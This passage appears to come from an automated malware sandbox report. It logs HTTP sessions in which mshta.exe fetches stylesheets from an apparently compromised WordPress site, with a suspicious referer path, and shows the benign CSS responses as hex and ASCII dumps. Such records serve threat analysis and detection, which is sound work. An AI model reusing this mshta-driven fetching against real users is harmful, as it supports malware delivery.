2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 2d 77 65 62 6b 69 74 2d 74 6f 75 63 68 2d 63 61 6c 6c 6f 75 74 3a 6e 6f 6e 65 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 20 69 6d 67 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 64 6f 74 73 2e 64 69 73 61 62 6c 65 64 2c 2e 6f
                                                              Data Ascii: /** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE */.owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-callout:none}.owl-carousel .owl-item img{display:block;width:100%}.owl-carousel .owl-dots.disabled,.o
                                                              Aug 16, 2022 10:33:10.115318060 CEST532INData Raw: 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 2e 64 69 73 61 62 6c 65 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 6e 6f 2d 6a 73 20 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 2c 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 2e 6f 77 6c 2d
                                                              Data Ascii: wl-carousel .owl-nav.disabled{display:none}.no-js .owl-carousel,.owl-carousel.owl-loaded{display:block}.owl-carousel .owl-dot,.owl-carousel .owl-nav .owl-next,.owl-carousel .owl-nav .owl-prev{cursor:pointer;-webkit-user-select:none;-khtml-user
                                                              Aug 16, 2022 10:33:10.115334034 CEST533INData Raw: 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 20 2e 6f 77 6c 2d 6c 61 7a 79 5b 73 72 63 5e 3d 22 22 5d 7b 6d 61 78 2d 68 65 69 67 68 74 3a 30 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 20 69 6d 67 2e 6f 77
                                                              Data Ascii: -carousel .owl-item .owl-lazy[src^=""]{max-height:0}.owl-carousel .owl-item img.owl-lazy{transform-style:preserve-3d}.owl-carousel .owl-video-wrapper{position:relative;height:100%;background:#000}.owl-carousel .owl-video-play-icon{position:abs


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              15192.168.2.2249188187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:09.915961981 CEST529OUTGET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:10.148212910 CEST535INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:10 GMT
                                                              Server: Apache
                                                              Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT
                                                              ETag: "a51451-3f5-5c93d38d94a1b"
                                                              Accept-Ranges: bytes
                                                              Content-Length: 1013
                                                              Connection: close
                                                              Content-Type: text/css
                                                              Data Raw: 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a 20 53 45 45 20 4c 49 43 45 4e 53 45 20 49 4e 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 0a 20 2a 2f 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 64 6f 74 73 2c 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 6e 61 76 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 6e 61 76 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 7d 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 6e 61 76 20 5b 63 6c 61 73 73 2a 3d 6f 77 6c 2d 5d 7b 63 6f 6c 6f 72 3a 23 46 46 46 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6d 61 72 67 69 6e 3a 35 70 78 3b 70 61 64 64 69 6e 67 3a 34 70 78 20 37 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 44 36 44 36 44 36 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 7d 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 6e 61 76 20 5b 63 6c 61 73 73 2a 3d 6f 77 6c 2d 5d 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 38 36 39 37 39 31 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 6e 61 76 20 2e 64 69 73 61 62 6c 65 64 7b 6f 70 61 63 69 74 79 3a 2e 35 3b 63 75 72 73 6f 72 3a 64 65 66 61 75 6c 74 7d 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 6e 61 76 2e 64 69 73 61 62 6c 65 64 2b 2e 6f 77 6c 2d 64 6f 74 73 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 7d 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 64 6f 74 73 20 2e 6f 77 6c 2d 64 6f 74 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 7a 6f 6f 6d 3a 31 7d 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 64 6f 74 73 20 2e 6f 77 6c 2d 64 6f 74 20 73 70 61 6e 7b 77 69 64 74 68 3a 31 30 70 78 3b 68 65 69 67 68 74 3a 31 30 70 78 3b 6d 61 72 67 69 6e 3a 35 70 78 20 37 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 44 36 44 36 44 36 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 2e 32 73 20 65 61 73 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 30 70 78 7d 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 64 6f 74 73 20 2e 6f 77 6c 2d 64 6f 74 2e 61 63 74 69 76 65 20 73 70 61 6e 2c 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 64 6f 74 73 20 2e 6f 77 6c 2d 64 6f 74 3a 68 6f 76 65 72 20 73 70 61 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 38 36 39 37 39 31 7d
                                                              Data Ascii: /** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE */.owl-theme .owl-dots,.owl-theme .owl-nav{text-align:center;-webkit-tap-highlight-color:transparent}.owl-theme .owl-nav{margin-top:10px}.owl-theme .owl-nav [class*=owl-]{color:#FFF;font-size:14px;margin:5px;padding:4px 7px;background:#D6D6D6;display:inline-block;cursor:pointer;border-radius:3px}.owl-theme .owl-nav [class*=owl-]:hover{background:#869791;color:#FFF;text-decoration:none}.owl-theme .owl-nav .disabled{opacity:.5;cursor:default}.owl-theme .owl-nav.disabled+.owl-dots{margin-top:10px}.owl-theme .owl-dots .owl-dot{display:inline-block;zoom:1}.owl-theme .owl-dots .owl-dot span{width:10px;height:10px;margin:5px 7px;background:#D6D6D6;display:block;-webkit-backface-visibility:visible;transition:opacity .2s ease;border-radius:30px}.owl-theme .owl-dots .owl-dot.active span,.owl-theme .owl-dots .owl-dot:hover span{background:#869791}


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              16192.168.2.2249189187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:10.353899002 CEST535OUTGET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:10.589556932 CEST538INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:10 GMT
                                                              Server: Apache
                                                              Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT
                                                              ETag: "a51464-13cec-5c93d38d9adcd"
                                                              Accept-Ranges: bytes
                                                              Content-Length: 81132
                                                              Connection: close
                                                              Content-Type: text/css
                                                              Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 0d 0a 0d 0a 2f 2a 21 0d 0a 41 6e 69 6d 61 74 65 2e 63 73 73 20 2d 20 68 74 74 70 3a 2f 2f 64 61 6e 65 64 65 6e 2e 6d 65 2f 61 6e 69 6d 61 74 65 0d 0a 56 65 72 73 69 6f 6e 20 2d 20 33 2e 34 2e 30 0d 0a 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 0d 0a 0d 0a 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 35 20 44 61 6e 69 65 6c 20 45 64 65 6e 0d 0a 2a 2f 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 69 6e 66 69 6e 69 74 65 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 20 69 6e 66 69 6e 69 74 65 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 20 69 6e 66 69 6e 69 74 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 68 69 6e 67 65 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 32 73 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 32 73 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 62 6f 75 6e 63 65 49 6e 2c 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 62 6f 75 6e 63 65 4f 75 74 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 66 6c 69 70 4f 75 74 58 2c 0d 0a 2e 61 6e 69 6d 61 74 65 64 2e 66 6c 69 70 4f 75 74 59 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 2e 37 35 73 3b 0d 0a 7d 0d 0a 0d 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 20 7b 0d 0a 20 20 20 20 66 72 6f 6d 2c 20 32 30 25 2c 20 35 33 25 2c 20 38 30 25 2c 20 74 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 32 31 35 2c 20 30 2e 36 31 30 2c 20 30 2e 33 35 35 2c 20 31 2e 30 30 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 32 31 35 2c 20 30 2e 36 31 30 2c 20 30 2e 33 35 35 2c 20 31 2e 30 30 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33
                                                              Data Ascii: @charset "UTF-8";/*!Animate.css - http://daneden.me/animateVersion - 3.4.0Licensed under the MIT license - http://opensource.org/licenses/MITCopyright (c) 2015 Daniel Eden*/.animated { -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-fill-mode: both; animation-fill-mode: both;}.animated.infinite { -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite;}.animated.hinge { -webkit-animation-duration: 2s; animation-duration: 2s;}.animated.bounceIn,.animated.bounceOut { -webkit-animation-duration: .75s; animation-duration: .75s;}.animated.flipOutX,.animated.flipOutY { -webkit-animation-duration: .75s; animation-duration: .75s;}@-webkit-keyframes bounce { from, 20%, 53%, 80%, to { -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); -webkit-transform: translate3d(0,0,0); transform: translate3
                                                              Aug 16, 2022 10:33:10.589631081 CEST539INData Raw: 64 28 30 2c 30 2c 30 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 34 30 25 2c 20 34 33 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62
                                                              Data Ascii: d(0,0,0); } 40%, 43% { -webkit-animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); -webkit-transform: translate3d(0, -
                                                              Aug 16, 2022 10:33:10.589682102 CEST540INData Raw: 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 37 35 35 2c 20 30 2e 30 35 30 2c 20 30 2e 38 35 35 2c 20 30 2e 30 36 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 61 6e 69
                                                              Data Ascii: -animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); -webkit-transform: translate3d(0, -15px, 0); transform: translate3d(0, -15px,
                                                              Aug 16, 2022 10:33:10.589726925 CEST542INData Raw: 6d 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2c 20 31 2c 20 31 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2c 20 31
                                                              Data Ascii: m { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } 50% { -webkit-transform: scale3d(1.05, 1.05, 1.05); transform: scale3d(1.05, 1.05, 1.05); } to { -webk
                                                              Aug 16, 2022 10:33:10.589776039 CEST543INData Raw: 31 2c 20 31 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 33 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2e 32 35 2c 20 30 2e 37 35 2c 20 31 29 3b 0d 0a 20 20
                                                              Data Ascii: 1, 1); } 30% { -webkit-transform: scale3d(1.25, 0.75, 1); transform: scale3d(1.25, 0.75, 1); } 40% { -webkit-transform: scale3d(0.75, 1.25, 1); transform: scale3d(0.75, 1.25, 1);
                                                              Aug 16, 2022 10:33:10.589829922 CEST544INData Raw: 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 31 30 25 2c 20 33 30 25 2c 20 35 30 25 2c 20 37 30 25 2c 20 39 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64
                                                              Data Ascii: ); } 10%, 30%, 50%, 70%, 90% { -webkit-transform: translate3d(-10px, 0, 0); transform: translate3d(-10px, 0, 0); } 20%, 40%, 60%, 80% { -webkit-transform: translate3d(10px, 0, 0); tra
                                                              Aug 16, 2022 10:33:10.589880943 CEST546INData Raw: 6d 3a 20 72 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 35 64 65 67 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 38 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65
                                                              Data Ascii: m: rotate3d(0, 0, 1, 5deg); } 80% { -webkit-transform: rotate3d(0, 0, 1, -5deg); transform: rotate3d(0, 0, 1, -5deg); } to { -webkit-transform: rotate3d(0, 0, 1, 0deg); transform: rot
                                                              Aug 16, 2022 10:33:10.589942932 CEST547INData Raw: 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 2e 39 2c 20 2e 39 2c 20 2e 39 29 20 72 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 2d 33 64 65 67 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73
                                                              Data Ascii: -webkit-transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); } 30%, 50%, 70%, 90% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg)
                                                              Aug 16, 2022 10:33:10.589998007 CEST549INData Raw: 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 2d 33 64 65 67 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 36 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65
                                                              Data Ascii: otate3d(0, 0, 1, -3deg); } 60% { -webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); } 75% { -webkit-transform: transl
                                                              Aug 16, 2022 10:33:10.590051889 CEST550INData Raw: 2c 20 30 29 20 72 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 2d 31 64 65 67 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 74 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65
                                                              Data Ascii: , 0) rotate3d(0, 0, 1, -1deg); } to { -webkit-transform: none; transform: none; }}.wobble { -webkit-animation-name: wobble; animation-name: wobble;}@-webkit-keyframes jello { from,
                                                              Aug 16, 2022 10:33:10.824927092 CEST558INData Raw: 20 6a 65 6c 6c 6f 20 7b 0d 0a 20 20 20 20 66 72 6f 6d 2c 20 31 31 2e 31 25 2c 20 74 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f
                                                              Data Ascii: jello { from, 11.1%, to { -webkit-transform: none; transform: none; } 22.2% { -webkit-transform: skewX(-12.5deg) skewY(-12.5deg); transform: skewX(-12.5deg) skewY(-12.5deg); } 3


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              17192.168.2.2249190187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:10.393143892 CEST536OUTGET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:10.632168055 CEST551INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:10 GMT
                                                              Server: Apache
                                                              Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT
                                                              ETag: "a50ba8-14fc-5c93d38d8b229"
                                                              Accept-Ranges: bytes
                                                              Content-Length: 5372
                                                              Connection: close
                                                              Content-Type: text/css
                                                              Aug 16, 2022 10:33:10.632230997 CEST552INData Raw: 2f 2a 2a 0a 20 2a 20 41 6c 6c 20 6f 66 20 74 68 65 20 43 53 53 20 66 6f 72 20 79 6f 75 72 20 70 75 62 6c 69 63 2d 66 61 63 69 6e 67 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 73 68 6f 75 6c 64 20 62 65 0a 20 2a 20 69 6e 63 6c 75 64 65 64 20 69
                                                              Data Ascii: /** * All of the CSS for your public-facing functionality should be * included in this file. */.lgx-logo-slider-wp .owl-stage { display: flex; align-items: center;}.lgx-logo-slider-wp .lgx-logo-wrapper { padding: 25px 0;}.lg
                                                              Aug 16, 2022 10:33:10.632299900 CEST553INData Raw: 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 74 6f 70 3a 20 32 35 25 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 32 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6e 61 76 2d 70 6f 73 69 74 69
                                                              Data Ascii: position: absolute; top: 25%; z-index: 2;}.lgx-logo-slider-wp .nav-position-v-mid .owl-next { right: 0;}.lgx-logo-slider-wp .nav-position-v-mid .owl-prev { left: 0;}.lgx-logo-slider-wp .nav-position-v-mid-hover { position: r
                                                              Aug 16, 2022 10:33:10.632419109 CEST555INData Raw: 20 20 2d 77 65 62 6b 69 74 2d 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 2d 6d 73 2d 66 69 6c 74 65 72 3a 20 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66
                                                              Data Ascii: -webkit-opacity: 1; opacity: 1; -ms-filter: progid:DXImageTransform.Microsoft.Alpha(opacity=100); filter: alpha(opacity=100); filter: none; -webkit-filter: grayscale(0); -moz-filter: grayscale(0); -o-filter: grayscale(0); -ms
                                                              Aug 16, 2022 10:33:10.632530928 CEST556INData Raw: 61 6c 75 65 73 3d 5c 27 30 2e 33 33 33 33 20 30 2e 33 33 33 33 20 30 2e 33 33 33 33 20 30 20 30 20 30 2e 33 33 33 33 20 30 2e 33 33 33 33 20 30 2e 33 33 33 33 20 30 20 30 20 30 2e 33 33 33 33 20 30 2e 33 33 33 33 20 30 2e 33 33 33 33 20 30 20 30
                                                              Data Ascii: alues=\'0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0\'/></filter></svg>#grayscale"); -webkit-filter: grayscale(100%); -moz-filter: grayscale(100%); -o-filter: grayscale(100%); -ms-filter: graysca
                                                              Aug 16, 2022 10:33:10.632711887 CEST556INData Raw: 77 70 2d 70 75 62 6c 69 63 2e 63 73 73 2e 6d 61 70 20 2a 2f
